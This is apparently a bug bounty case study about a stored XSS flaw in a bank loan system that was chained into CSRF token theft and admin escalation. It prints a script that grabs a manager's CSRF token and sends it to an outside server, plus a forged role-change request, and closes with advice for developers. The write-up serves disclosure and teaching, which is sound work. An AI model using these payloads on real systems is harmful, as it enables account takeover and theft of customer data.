Two years ago, while testing a financial application as part of a bug bounty program, something unexpected happened.

What started as a routine search for Cross-Site Scripting (XSS) vulnerabilities turned into a shocking privilege escalation chain — all because of one unsanitized input field.

By the end of this journey, a simple stored XSS flaw allowed me to gain full admin access. The worst part? The company had no idea until I reported it.

The Vulnerability: A Loan System's Fatal Mistake

The application was a loan management system used by banks and financial institutions.

One of its key features allowed employees to input purchase descriptions when processing transactions.

At first glance, everything seemed secure — HTTPS encryption, role-based access controls, and CSRF tokens.

But when I tested a basic payload in the "Purchase Description" field:

<script>alert(1)</script>

A pop-up appeared on the next page load. The input wasn't sanitized.

This was a classic stored XSS vulnerability — any script injected here would execute every time an employee viewed the transaction log.

The Exploit: From XSS to Full Admin Control

Step 1: Confirming the Flaw

First, I reported the basic XSS issue through the bug bounty platform. But while waiting for a response, curiosity kicked in.

"What if this could do more than just pop up an alert?"

Step 2: Stealing the Manager's CSRF Token

Since the app used CSRF tokens for sensitive actions (like role changes), I crafted a malicious script to:

  1. Silently fetch the manager's dashboard page (where the CSRF token was stored).
  2. Extract the token from the HTML.
  3. Send it to an external server I controlled (for ethical testing, I used a local logging endpoint).

Here's a simplified version of the payload:

<script>
fetch('/manager-dashboard')
  .then(response => response.text())
  .then(data => {
    const token = data.match(/csrf_token="([^"]+)"/)[1];
    fetch('https://my-server/log?token=' + token);
  });
</script>

When a manager viewed the infected transaction log, their browser unknowingly sent their CSRF token to me.

Step 3: Escalating to Admin

With the token, I could impersonate the manager and send a role-change request to promote my test account to admin.

The request looked like this:

POST /api/change-role HTTP/1.1
Host: vulnerable-bank.com
Content-Type: application/json
X-CSRF-Token: STOLEN_TOKEN_HERE

{
  "user_id": "my_test_account",
  "new_role": "admin"
}

And just like that, I had full admin access.

The Impact: A Company's Worst-Case Scenario

If this had been exploited maliciously:

  • Customer loan data (names, SSNs, credit scores) could have been leaked or sold.
  • Fraudulent transactions could have been approved silently.
  • The company's reputation would have been destroyed overnight.

The scariest part? No unusual activity would have been detected. The attack relied on legitimate user sessions executing malicious scripts.

Lessons Learned: How to Prevent This

For Developers:

  • Always sanitize user inputs — use libraries like DOMPurify.
  • Implement Content Security Policy (CSP) to block inline scripts.
  • Require re-authentication for sensitive actions (even with CSRF tokens).

For Bug Hunters:

  • Never stop at "alert(1)" — test for real-world impact.
  • Look for chained vulnerabilities (XSS + CSRF = disaster).
  • Report responsibly — this flaw was patched in 48 hours thanks to coordinated disclosure.

Why This Matters

This wasn't just about finding a bug. It was about understanding how small oversights can lead to catastrophic breaches.

If you're a developer, audit your inputs today. If you're a hacker, dig deeper than the surface.

And if you found this breakdown useful, I share more real-world ethical hacking case studies in my free newsletter (link below). No fluff — just actionable security lessons.